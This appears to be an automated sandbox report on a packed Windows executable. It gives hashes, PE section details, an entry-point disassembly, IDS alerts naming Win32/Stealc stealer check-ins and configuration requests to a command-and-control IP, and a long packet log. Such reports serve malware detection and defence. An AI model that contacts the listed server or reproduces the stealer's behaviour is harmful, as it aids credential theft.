Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 173904
Category:	downloaded
Size (bytes):	64322
Entropy (8bit):	7.995540609119129
Encrypted:	true
SSDEEP:	1536:064aZVq9iIqczLQE73rvxevsKoSrhgZ9ba0/g:d4G8s63rvJKoSrhk9G0I
MD5:	FCD0BF66BA9C46BCE566D74C0CD81E8E
SHA1:	8722E3F744CB9A04B3AB45D64AD2CA1D1E86D2CC
SHA-256:	BD82C3CF3086DA8BE3E1888DA5066B2C9B4F836C23AB48695160C24346707757
SHA-512:	7C040692556EBED927010888335F450F51A82A67D6C88FE52AC1E0CCCE1F2BE54C5826C2D62ADC5A493A132F74A97E7370109CBDC304671DD62C176E767BE555
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	............gc..(......CF.........$.8^_6.fIn.t..;..AJJ...9k....0..`To.s5...#....&.Y}...F.k.[oO.`...{..Y..^...s.....p1z.E.p.x...-.u...c0..L.m...w2q.&.7..fd......;... .S..5.:..N..6.~..6...{M{.t:MW..Yo.......E/7.]...n.r.g.r^5..7j<E.A/...k.u...W.>.....5P...jM ..=...'b{M.u.z.p1..l......._#.u..!...J.i.x.....`.9q.z.l...=4.c.q..3..0.Q....N...}..8....jT.Q...#..S..y{g.M,......k.?.z..d.......\..kG...u.&......k...=^^..\c.G.\....z~;.ly.sS..<..>.............Xd..C...........4r=.,...o\,{..5..e5..-.W?`...r..#. .4)N...X.g.....y..2.V!0.cL~u..Xh'.O..../.0..Q.....{.;....U.&...z...."j..>..mU...BL.AOj.R.rZ....>".....}..n..;n.@.....YN.k....?...>.U.w\...j.jK...u.6.6.V.....;..3.......-ZN;.-.K.....}....7.T.v8G[}1.LF.1.q....;........$z...e@S..Y...p.x...c9..84..X....\.M..'...z.....D....r.:mw........la.>..s..>8}......(..(...}k.......6......\.'.../..3.R...A.b...zf...<......>....2.G..#.Q.....>....H....m7.......:>4a.a@...F.......d.J.{Z.A..,K}.Mp....3.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	663
Entropy (8bit):	7.690307716127122
Encrypted:	false
SSDEEP:	12:40CDLpfwODjRWq82AZFxS3SyFF1Hkbc5xNI0+YSMDWKMIIgHBCprA:40CDVSqGxS3SM/yc5qYnD8gHBCW
MD5:	D3EC4B74EA0887AEFF93ED6767748DC8
SHA1:	95AAC504EB982D2806AF370586B681CDD7B8877A
SHA-256:	303C26D0404D542BFBDD1BF05E7AE0F103A017C0F97870EF6993D0747FD88573
SHA-512:	F0A0F5E8EFCC653920612D3DEF4659E5410D4B2E968C0A13A3875D6C7F54F2BABA6880B694B4349EB14F2A540CFFC38E31EDAE55354ABB652C6610395C4B49FE
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	..3..,p.yt1(.5C\|..G..y...T.T...m....@.Y.R......[..D.z.......9.\.E.E.'.F.8...:...x:.e........$....oVQ.U.2"..5m.i. .....L....J...{h......\|..{C.[...p..A..."M...nG........+.I.6...N...."Hs..:..'....c.34..%8.....$6..w.`D..\|i..c.a.V...m%../$q....)"...!.....;..J.H....f;.6m.K."..H[&...7..i\l.Hs6......l.3....gf.1M$....'.%"B..4.(,.af.,..*5...g...Gv..........Q...H..u?w.D...YG...^%U#Gb..eh....-v.7kw..sG..!...Q..B....B.~M.T..ZFf....DD..$....kD=.E......w.;@.3...`I...V...../k.h.A....i.....E.O.^_.kz..fE..oYT4w....=.S.....W....K..W..8w..... ./1.q3.d9......#..m......a...u.....!R%..;.jh.........J.H.z...G._)...R.`C'.p.F.....ic....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958405080321089
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'125'312 bytes
MD5:	c590d2a05e4dcbf3b53d3e04efa88988
SHA1:	e18fe9abf174c67bf5d8808d84e19b04440a8db2
SHA256:	a7effd419e43e4d534ff7caf53b3526cd7d627baf41978b3ef65e86b45e2ea24
SHA512:	3068a077067bb38c183bc68350720ee5705a22e5469f84b1df4296d1d37b948b474c12b8847dd683dfa092dafae90e905c9de95e2585e0d4b621923882c1fdb8
SSDEEP:	49152:6Q06OMR166Mx1igH5+GUheoR3hduK7anUKU1Tqv72ZN/r:6Q0DMa6aAgfUheoRRYKzH1To72H/r
TLSH:	88A53301197C8AE3C1A8B9B9ABD3EA7976621F8045CFB673AC5491B1C3273D13ED94C4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb26000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F01610EA8DAh
cmovl esp, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [0300000Ah], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	3ed6b938e692556f0ef15e45a0f7c561	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29f000	0x200	d4d33b16f788899108267f257357b4ca	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hahemwbo	0x589000	0x19c000	0x19be00	87bf1a9b9bb17e783a506e1459b1aea4	False	0.9951222259104704	data	7.9538177425653664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pummyztg	0x725000	0x1000	0x400	88dd4a4519b8b8ae4ce69642e6aefa6f	False	0.806640625	data	6.246714300275229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x726000	0x3000	0x2200	7d22445e45bf31aeb978eaeb4044d666	False	0.06537224264705882	DOS executable (COM)	0.790594895836419	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T08:17:12.869440+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:13.170896+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:13.177374+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49734	TCP
2024-10-28T08:17:13.457926+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:13.465623+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49734	TCP
2024-10-28T08:17:14.567243+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:15.132323+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:32.601580+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:34.931778+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:36.461745+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:37.631575+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:40.342954+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:40.906684+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:17:11.654829025 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:11.660362959 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:11.660542011 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:11.660687923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:11.666117907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:12.568625927 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:12.568713903 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:12.570890903 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:12.576384068 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:12.869366884 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:12.869440079 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:12.884737015 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:12.890089035 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.170819044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.170896053 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.170938969 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.170981884 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.172092915 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.177373886 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457798958 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457832098 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457840919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457863092 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457874060 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457885027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.457926035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.457964897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.458419085 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.458467960 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.460328102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.465622902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.744997025 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.745126009 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.762702942 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.762742996 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:13.768188000 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768245935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768326044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768338919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768354893 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768388987 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:13.768429995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:14.566972971 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:14.567243099 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:14.849136114 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:14.854655027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132236004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132287979 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132303953 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132320881 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132323027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132347107 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132389069 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132642984 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132682085 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132704973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132719040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132719994 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132744074 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132752895 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.132774115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.132806063 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.133553028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.133569002 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.133583069 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.133600950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.133635044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.293867111 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.293924093 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.293941975 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.293958902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.293968916 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.293996096 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.294001102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294066906 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294142962 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.294193983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.294203997 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294229031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.294240952 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294265032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.294269085 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294308901 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.294981956 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295017004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295032024 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295052052 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295062065 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295089960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295095921 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295135021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295759916 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295794964 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295809031 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295830011 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295835018 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295865059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.295871973 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.295907021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.296529055 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.296574116 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.296581984 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.296616077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.296622038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.296650887 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.296660900 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.296741962 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.297358036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.297390938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.297405958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.297425985 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.297432899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.297475100 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.409131050 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.409246922 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.455673933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455771923 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455801964 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.455816984 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.455832958 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455869913 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455877066 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.455913067 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.455929995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455965996 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.455976963 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456005096 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456010103 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456048012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456062078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456095934 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456111908 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456141949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456293106 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456329107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456342936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456363916 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456368923 CET	49734	80	192.168.2.4	185.215.113.206
